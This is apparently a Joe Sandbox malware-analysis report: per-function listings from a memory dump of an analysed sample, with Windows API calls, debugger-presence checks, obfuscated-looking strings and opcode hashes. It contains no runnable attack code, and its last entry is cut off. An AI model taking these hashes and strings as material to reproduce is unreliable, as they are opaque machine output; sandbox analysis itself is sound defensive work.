Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aed538767a099d159fe4b6cb849b8e5a708401479f055c99678668bf5ece60e1
Instruction ID: e19326cceeabea1f0dfde8b1849f19421f80f26e3845470d06426f726e578c76
Opcode Fuzzy Hash: aed538767a099d159fe4b6cb849b8e5a708401479f055c99678668bf5ece60e1
Instruction Fuzzy Hash: 82F0BE36A4962D67DB21AF62AC01F9B7B58AB91770F1D8012FC04E71C1DA22D80186A1

Uniqueness

Uniqueness Score: -1.00%

Function 00A03764 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 00A03796

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fa9bc159aa2c1a2c6b0d58d54d79fd8f35957e51518b6d552c8a68504a7b80e3
Instruction ID: 1817cff5a714d37b8e1cd5436015f3f24a1ee2f72458a010901b45b82279d913
Opcode Fuzzy Hash: fa9bc159aa2c1a2c6b0d58d54d79fd8f35957e51518b6d552c8a68504a7b80e3
Instruction Fuzzy Hash: 25E065F36456195BDF21ABA6AC00B5A3B5CEBC17B0F154124EC55960D1DB60CE0181A5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A4F581 Relevance: 54.7, APIs: 1, Strings: 30, Instructions: 431COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A4F625

Strings

1, xrefs: 00A4FB50
|, xrefs: 00A4F94A
59<}, xrefs: 00A4F991
!o+!, xrefs: 00A4F6DB
59<}, xrefs: 00A4F986
59<}, xrefs: 00A4F9A7
|mkp, xrefs: 00A4F963
1, xrefs: 00A4FB49
1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
}, xrefs: 00A4F712
LSM@, xrefs: 00A4F58C
p~9k, xrefs: 00A4F95B
wzrs, xrefs: 00A4F71A
59<}, xrefs: 00A4F99C
|o|}, xrefs: 00A4F96B
59<}, xrefs: 00A4F9BD
o, xrefs: 00A4F6D6
1, xrefs: 00A4FB65
59<}, xrefs: 00A4F9B2
1, xrefs: 00A4FB5E
jf(%, xrefs: 00A4F8EE
59<}, xrefs: 00A4F97B
#9<}, xrefs: 00A4F973
1111111, xrefs: 00A4FA2A
59<}, xrefs: 00A4F9D3
1, xrefs: 00A4FB57
59<}, xrefs: 00A4F9C8
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: !o+!$#9<}$1$1$1$1$1$1$1$1$1$1111111$59<}$59<}$59<}$59<}$59<}$59<}$59<}$59<}$59<}$LSM@$jf(%$o$p~9k$wzrs$|$|mkp$|o|}$}
API String ID: 4218353326-2023132416
Opcode ID: b9eadc9fa972bb27d0b3a8dfb6e117a799573c91d4d222c7cfb074e6145da5a0
Instruction ID: 26dfeb5e92cb74cd3153a9a889f19fa8896c5d56729ef67e2f9d4e7a57a27516
Opcode Fuzzy Hash: b9eadc9fa972bb27d0b3a8dfb6e117a799573c91d4d222c7cfb074e6145da5a0
Instruction Fuzzy Hash: F502C46520A3C08ED325CF6598512AEBBE0AF99304F84597FE0C9CB762DF748546CB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A47AB0 Relevance: 16.7, Strings: 13, Instructions: 479COMMON

Download Yara Rule

Strings

8, xrefs: 00A47B45
MkZA, xrefs: 00A47DAA
r800, xrefs: 00A47B08
\AKI, xrefs: 00A47DB2
\~oV, xrefs: 00A47C49, 00A47CDF, 00A47DFE, 00A47BE7, 00A47D3C, 00A47ADA, 00A47C7A, 00A47CAC
dMI^, xrefs: 00A47DCA
D{MK, xrefs: 00A47DBA
\AGF, xrefs: 00A47DC2
90on, xrefs: 00A47B00
:1 z, xrefs: 00A47B36
08, xrefs: 00A47B3E
~Szu, xrefs: 00A47E26
\~oV, xrefs: 00A47E16

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 08$8$90on$:1 z$D{MK$MkZA$\AGF$\AKI$\~oV$\~oV$dMI^$r800$~Szu
API String ID: 0-3008118122
Opcode ID: c4551833d762e9b8d517f8e3384fe84e86f6cfec008a23f4948276a6ae9f51b5
Instruction ID: 6bd125598c54ea917af05b36d055e16529c2ed9dcbb9da0fa5e61537cdddca05
Opcode Fuzzy Hash: c4551833d762e9b8d517f8e3384fe84e86f6cfec008a23f4948276a6ae9f51b5
Instruction Fuzzy Hash: C622937460E3C08ED325DF29A5502AEBBE1ABD5304F94993EE0C98B361DB348546CF5B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4B90D Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 225COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A4B9AD

Part of subcall function 00A558D2: _strlen.LIBCMT ref: 00A558EA

Strings

HKTH, xrefs: 00A4BA0E
_ZOZ, xrefs: 00A4BA2E
61xT, xrefs: 00A4B9F6
16, xrefs: 00A4BA4E
RORT, xrefs: 00A4BA16
UO^U, xrefs: 00A4B9FE
1, xrefs: 00A4BA55

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: 1$16$61xT$HKTH$RORT$UO^U$_ZOZ
API String ID: 4218353326-1839141091
Opcode ID: 533739e05d5d021e27bfc154aced8782ac98ae325153335aa9ee87660c2a6f4d
Instruction ID: 2b0a6ab767319688b639f128656500e21ef93f3902ae5efdc5b01e4c4d6cb2e5
Opcode Fuzzy Hash: 533739e05d5d021e27bfc154aced8782ac98ae325153335aa9ee87660c2a6f4d
Instruction Fuzzy Hash: C991C8E470B3909FC7248F34AC5127A7BE4EBA6300F44556EE1C88B3A2DB258546D72F

Uniqueness

Uniqueness Score: -1.00%

Function 00A466EA Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 158COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A4693A

Strings

74m1, xrefs: 00A46769
mu31, xrefs: 00A46761
-sws, xrefs: 00A46771
7114, xrefs: 00A46759
[326, xrefs: 00A4673F
/, xrefs: 00A46825
4usa[326, xrefs: 00A4677A

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: -sws$/$4usa[326$7114$74m1$[326$mu31
API String ID: 4218353326-1547297044
Opcode ID: 7722a2a1ac1edaf791d64459842aa9b38ff80f9c55b6f33c7d5f2514aafc8bdf
Instruction ID: 7b6111cfa62659dd8b0da2abe2aeeee4580833ad406d668e3da3cc1b5d6caf37
Opcode Fuzzy Hash: 7722a2a1ac1edaf791d64459842aa9b38ff80f9c55b6f33c7d5f2514aafc8bdf
Instruction Fuzzy Hash: FE51C67620A3804EE325FF74AD416AF7BE4EBD5300FD4443EE191C72A1DA348546D72A

Uniqueness

Uniqueness Score: -1.00%

Function 00A4E4DC Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 481COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A4E6C7
_strlen.LIBCMT ref: 00A4E7B4
_strlen.LIBCMT ref: 00A4EC4A
_strlen.LIBCMT ref: 00A4ECBA

Strings

,($5, xrefs: 00A4E871

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: ,($5
API String ID: 4218353326-1520827719
Opcode ID: 5ac3ac9faa634020b92c9479e87f20e4373ba753b7ff5ff14dcbbce5cf8b1ca0
Instruction ID: e4878f7f561d643caeb6f60fdeb1f1c7ab327600189cf4e563fc354a78687a7d
Opcode Fuzzy Hash: 5ac3ac9faa634020b92c9479e87f20e4373ba753b7ff5ff14dcbbce5cf8b1ca0
Instruction Fuzzy Hash: 03121AB420A3818AD324DF25A8505BEBBE0FBA5300F84493EE4D597762EB748547CB5F

Uniqueness

Uniqueness Score: -1.00%

Function 00A0DE5F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 00A0DEF8
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 00A0DF21
GetACP.KERNEL32 ref: 00A0DF36

Strings

OCP, xrefs: 00A0DEB3
ACP, xrefs: 00A0DE7D

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 65e75b8bc7941d600076a83332ca9478d61dcac105b51eb3299c880d0ad2fed6
Instruction ID: 352a72a08a9338e735c990da16d8c4be421de74f9d55f00668b5d81ea39a2b86
Opcode Fuzzy Hash: 65e75b8bc7941d600076a83332ca9478d61dcac105b51eb3299c880d0ad2fed6
Instruction Fuzzy Hash: 5221713361010AA7DB24DF94E905BA777B6AF60B64B568424E90ADB194EB32DD81C350

Uniqueness

Uniqueness Score: -1.00%

Function 00A5E6CC Relevance: 7.9, Strings: 6, Instructions: 410COMMON

Download Yara Rule

Strings

=0>, xrefs: 00A5E7CF
,=:=, xrefs: 00A5EA7D
j=}=, xrefs: 00A5E7C9
J=Q=, xrefs: 00A5EA83
>=F=, xrefs: 00A5E92D
d=t>, xrefs: 00A5E933

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: ,=:=$>=F=$J=Q=$d=t>$j=}=$=0>
API String ID: 0-3451552666
Opcode ID: 1aff10f968ad904dc59de954de13046752d9c20f486d575aa3f3299d8768fc68
Instruction ID: f26a027bd69ba3cd24af9402213e13ea0860faa8d3e97a94c989a202e36fcbd8
Opcode Fuzzy Hash: 1aff10f968ad904dc59de954de13046752d9c20f486d575aa3f3299d8768fc68
Instruction Fuzzy Hash: C5D104344497D6AFDB668F7884912D7BFA2BE473043EA25EAC4C08E517C22594CBCB46

Uniqueness

Uniqueness Score: -1.00%

Function 00A0E0A8 Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32 ref: 00A0E1B4
IsValidCodePage.KERNEL32(00000000), ref: 00A0E1FD
IsValidLocale.KERNEL32(?,00000001), ref: 00A0E20C
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00A0E254
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00A0E273

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser
String ID:
API String ID: 3475089800-0
Opcode ID: bc107283394c0104e104e742d32ed656a2f16fb86016f019d3532d49b106ac0c
Instruction ID: 2c62e6b1e4d3c80c2867dbda5e2d7bdfca9cb01c3a5eb2945adaad024f96c450
Opcode Fuzzy Hash: bc107283394c0104e104e742d32ed656a2f16fb86016f019d3532d49b106ac0c
Instruction Fuzzy Hash: 55517172A0020EABEF10DFA5EC41BBE77B8BF58700F084969E911E71D0E7B099459B61

Uniqueness

Uniqueness Score: -1.00%

Function 00A0D4CC Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377COMMON

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 00A0D58D
IsValidCodePage.KERNEL32(00000000), ref: 00A0D5B8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00A0D799

Strings

utf8, xrefs: 00A0D68A

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: CodeInfoLocalePageValid
String ID: utf8
API String ID: 790303815-905460609
Opcode ID: ff64422787559d4f777c6809cd806bac144d865e7f3e041ac598c257c3369623
Instruction ID: da33c3b357999c3f98cb889ef83fdf2e5b0c815a32ede84983cf6568dac0f8bf
Opcode Fuzzy Hash: ff64422787559d4f777c6809cd806bac144d865e7f3e041ac598c257c3369623
Instruction Fuzzy Hash: 6771D873A00309AAEB24ABB4ED46FAA73A8EF45714F144429F909DB1C1EB71ED408761

Uniqueness

Uniqueness Score: -1.00%

Function 00A074D1 Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000), ref: 00A0756C
FindNextFileW.KERNEL32(00000000,?), ref: 00A075E7
FindClose.KERNEL32(00000000), ref: 00A07609
FindClose.KERNEL32(00000000), ref: 00A0762C

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 53c95657d197b3f94d5160cdb3f7800493937186265c2c89dd0d0fb32bddf49f
Instruction ID: 113b414f03ddea10a93ed46fd42c846f3c67cf61a5abf98515488062a92e10c3
Opcode Fuzzy Hash: 53c95657d197b3f94d5160cdb3f7800493937186265c2c89dd0d0fb32bddf49f
Instruction Fuzzy Hash: C1417171E0551DAFDB20DFA8ED89AFEB7B9EB85305F144295E405D71C0EB30AE808B64

Uniqueness

Uniqueness Score: -1.00%

Function 009CB0DD Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009CB0E9
IsDebuggerPresent.KERNEL32 ref: 009CB1B5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009CB1D5
UnhandledExceptionFilter.KERNEL32(?), ref: 009CB1DF

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6d229d3f43c3f167dc237302d0d2975fdfadcdea94e7d7a16b311fb583ee8014
Instruction ID: df801b810f617f9cf99220d6e6e13c347cccdaff26e90737219be6d066c15924
Opcode Fuzzy Hash: 6d229d3f43c3f167dc237302d0d2975fdfadcdea94e7d7a16b311fb583ee8014
Instruction Fuzzy Hash: 08311675D0521C9BDB10EFA5D989BCDBBB8AF08300F1040AAE50DAB250EB759A858F15

Uniqueness

Uniqueness Score: -1.00%

Function 00A5A6FD Relevance: 5.5, Strings: 4, Instructions: 466COMMON

Download Yara Rule

Strings

,=:=, xrefs: 00A5EA7D
J=Q=, xrefs: 00A5EA83
>=F=, xrefs: 00A5E92D
d=t>, xrefs: 00A5E933

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: ,=:=$>=F=$J=Q=$d=t>
API String ID: 0-2038857933
Opcode ID: d9d408633b64c452680af8ba1aefd3a3f70de4cf48225d77794b6c2a35d47307
Instruction ID: b39600d41d7c42b5dbc91a878c466afd6633267c7f01a8d7ed34634a979e1ad8
Opcode Fuzzy Hash: d9d408633b64c452680af8ba1aefd3a3f70de4cf48225d77794b6c2a35d47307
Instruction Fuzzy Hash: 09F1DE6194E7D6AFC7138B744C79190BF71AE1321235E8AEBC4D0CF0A3D229495AC7A3

Uniqueness

Uniqueness Score: -1.00%

Function 00A4DF13 Relevance: 5.4, Strings: 4, Instructions: 368COMMON

Download Yara Rule

Strings

{z{p, xrefs: 00A4E43D
r1]l, xrefs: 00A4E435
m0jf, xrefs: 00A4E44D
j, xrefs: 00A4E455

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: j$m0jf$r1]l${z{p
API String ID: 0-3301778398
Opcode ID: 5d45f396a6946005afdad2a5c99368fafecf6ec80c39189c1c7009f6404452f4
Instruction ID: ef679646790edf49ce923763671103042b50928ff7e2fc1e7e73f509604e946b
Opcode Fuzzy Hash: 5d45f396a6946005afdad2a5c99368fafecf6ec80c39189c1c7009f6404452f4
Instruction Fuzzy Hash: D0E1D17532A7904AD3319F79AD4156E7BE4AB99300F84843FE5818B6A9EF348406CB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00A0DA05 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A0DA59
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A0DAA3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A0DB69

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2ed7e2b09a66d62933d884559c0809322e0f755e2872086e27ab84771a2fe0df
Instruction ID: 3121b0d2abc12b9651234305950af4af6ac441ec6bccf8481942e83b0aaf76a5
Opcode Fuzzy Hash: 2ed7e2b09a66d62933d884559c0809322e0f755e2872086e27ab84771a2fe0df
Instruction Fuzzy Hash: 9B61AF7294020B9FEB289FA8ED82BBAB7A8EF05310F144179ED05D61C1EB74D991DB50

Uniqueness

Uniqueness Score: -1.00%

Function 009D86CE Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 009D87C6
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009D87D0
UnhandledExceptionFilter.KERNEL32(?), ref: 009D87DD

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8abbff3cfa54f36307f5a85ff9b9d56de41aecfd95667ac1873d5de1b2663c17
Instruction ID: 2be52782c27919344b651a99224574cad188e556b76bba536d01c2d558ab355c
Opcode Fuzzy Hash: 8abbff3cfa54f36307f5a85ff9b9d56de41aecfd95667ac1873d5de1b2663c17
Instruction Fuzzy Hash: 3531F474D012189BCB21DF65DC88B8DBBB8BF48710F5081EAE41CA7251EB749F818F45

Uniqueness

Uniqueness Score: -1.00%

Function 009C1B4F Relevance: 3.0, APIs: 2, Instructions: 16sleepCOMMON

Download Yara Rule

APIs

FreeConsole.KERNEL32 ref: 009C8A1B
Sleep.KERNEL32(00000064), ref: 009C8A23

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ConsoleFreeSleep
String ID:
API String ID: 1084192268-0
Opcode ID: 1a2e4e28db2f422a577de34fcc0c57d0d7095231ab3e623161e2db3a77fb82c5
Instruction ID: 08cdac9aa6665b99f68d68a29c7bdd073ab91cbc2981e563aeed313ac5301177
